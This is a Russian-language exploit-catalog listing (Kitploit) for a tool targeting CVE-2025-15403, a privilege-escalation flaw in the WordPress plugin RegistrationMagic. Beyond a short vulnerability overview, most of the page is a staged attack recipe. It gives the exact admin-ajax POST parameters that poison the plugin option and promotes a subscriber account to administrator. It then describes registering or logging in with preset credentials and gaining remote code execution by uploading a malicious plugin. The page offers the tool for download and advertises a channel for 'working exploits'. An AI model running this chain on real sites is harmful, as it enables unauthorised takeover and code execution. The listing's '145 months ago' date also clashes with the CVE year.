Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-15403 — RegistrationMagic <= 6.0.7.1 - Неаутентифицированное повышение привилегий через admin_order | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2025-15403
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Неаутентифицированное повышение привилегий через admin_order

Репозиторий
145 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Неаутентифицированное повышение привилегий через admin_order

 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 Разведданные появляются здесь первыми. Подписывайтесь на @KNxploited в Telegram — точные раскрытия CVE, рабочие эксплойты и глубокие исследования уязвимостей. Канал для тех, кто не ждёт новостей, — они их создают.


🧠 Обзор

CVE-2025-15403 — это критическая уязвимость (CVSS 9.8) повышения привилегий в плагине RegistrationMagic для WordPress.

Проблема кроется в функции add_menu плагина, доступ к которой открыт без аутентификации через AJAX-действие rm_user_exists. Внедряя пустой slug в параметр order вместе с флагом enable_admin_order=yes, атакующий манипулирует внутренней логикой генерации меню плагина. Когда впоследствии строится административное меню, плагин незаметно вызывает add_cap('manage_options') для целевой роли, повышая любую учётную запись уровня подписчика до полных административных привилегий.

ПолеДетали
CVE IDCVE-2025-15403
ПлагинRegistrationMagic
Slugregistrationmagic / custom-registration-form-builder-with-submission-manager
Затронутые версииВсе версии вплоть до 6.0.7.1 включительно
Тип уязвимостиНеаутентифицированное повышение привилегий
Требования к атакеЭтап AJAX: не требуется. Эксплуатация: учётная запись подписчика
Вектор атакиСеть
Оценка CVSS 3.19.8 КРИТИЧЕСКИЙ
Вектор CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
ВоздействиеПолный захват прав администратора WordPress
ИсследовательNxploited

💀 Глубокий разбор уязвимости

Корневая причина — доступность функции add_menu без аутентификации через rm_user_exists в сочетании с полным отсутствием валидации slug admin_order:

// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← User-controlled, NOT sanitized
    $role_key = /* derived from POST */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // Stores attacker-controlled order into plugin options
        update_option('rm_admin_order', $order);  // e.g. ",menu1" → empty first slug
    }
}

// Later, when admin menu is being built...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← Poisoned by attacker
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // Empty slug triggers unconditional capability grant
            $role->add_cap('manage_options');  // ← FULL ADMIN CAPABILITY ADDED
        }
    }
}

Почему это критично:

  • wp_ajax_nopriv_* = для отравления опции не требуется аутентификация вообще
  • Пустой slug в order=,menu1 проходит проверку empty(), вызывая add_cap('manage_options')
  • manage_options — высшая привилегия WordPress, эквивалентная роли администратора
  • Любая существующая учётная запись подписчика немедленно получает полные права администратора при следующей загрузке административного меню
  • Этап AJAX не требует предварительной аутентификации, что делает всю цепочку почти безбарьерной

⚔️ Цепочка эксплойта

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 1 — Unauthenticated Option Poisoning                             ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← empty first element = empty slug
  _Subscriber       = 1                  ← target role key
  restore           = false
  enable_admin_order= yes

Response: HTTP 200 (any non-blocked response = option poisoned)

  ↓ Plugin stores order=",menu1" into wp_options
  ↓ Next admin menu build triggers add_cap('manage_options') on Subscriber role

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 2 — Account Acquisition (Subscriber)                             ║
╚══════════════════════════════════════════════════════════════════════════╝

Option A — Register via the site's registration form (Mode 0):
  GET  /wp-login.php?action=register  → smart form detection
  POST → create subscriber account
  Credentials: NXploited / xplpass123

Option B — Use an existing subscriber account.

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 3 — Login + Capability Harvest                                   ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
Subscriber account now carries manage_options → full admin panel accessible

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 4 — Deep Verification & RCE via Plugin Upload                    ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → Admin dashboard accessible ✔️
GET  /wp-admin/plugin-install.php        → Plugin install page accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → Plugin uploaded & executed ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     Response contains "Nxploited"       → CONFIRMED RCE ✔️

🎯 Режимы работы

Этот набор эксплойтов предоставляет три различных режима, охватывающих полный жизненный цикл атаки:

Скачать инструмент